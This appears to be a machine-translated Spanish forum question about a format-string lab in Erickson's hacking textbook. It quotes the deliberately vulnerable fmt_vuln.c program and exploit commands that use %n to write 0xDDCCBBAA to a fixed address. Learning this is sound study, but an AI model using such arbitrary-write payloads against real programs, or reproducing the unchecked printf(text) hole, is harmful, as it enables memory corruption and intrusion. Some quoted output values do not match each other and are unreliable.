He estado leyendo "Hacking: El arte de la explotación, 2ª edición". y llegué a una parte que no está suficientemente explicada para mí.
En la sección "Escribiendo en una dirección arbitraria", Jon Erickson crea un programa pequeño y vulnerable (llamado fmt_vuln) que pasa parámetros de formato (como% x) como el primer argumento para printf. Al hacerlo, se iniciará la lectura de impresión desde la parte superior del marco de la pila. Luego utiliza esta vulnerabilidad para escribir en la dirección arbitraria 0x08049794.
El código objetivo ( fmt_vuln.c
) es el programa objetivo.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Usando esta vulnerabilidad, estoy tratando de escribir un valor "0xDDCCBBAA" en la dirección de test_val
. La salida del programa muestra que test_val
se encuentra en 0x08049794.
El exploit se ve así:
./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
Esto escribe el valor hexadecimal 0xAA en la dirección 0x08049794.
4 escribe en direcciones secuenciales, comenzando en 0x08049794, y agregando 1 byte cada vez debería lograr esto. La primera vez que escribimos 0xAA, luego la segunda vez que escribimos 0xBB a 0x08049795, la tercera vez que escribimos 0xCC a 0x08049796, y la última vez que escribimos 0xDD a 0x08049797.
El libro utiliza la vulnerabilidad como esta:
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $
Mi pregunta es:
¿Por qué necesito los 4 bytes de datos no deseados entre las direcciones? El autor usa la palabra "JUNK" porque es una cadena de 4 bytes arbitraria, pero podría tener una longitud de 4 bytes. Pero nunca explica por qué se requieren esos 4 bytes de datos JUNK. Solo dice "Se necesitan otros argumentos para que otro parámetro de formato% x incremente la cuenta de bytes a 187, que es 0xBB en decimal".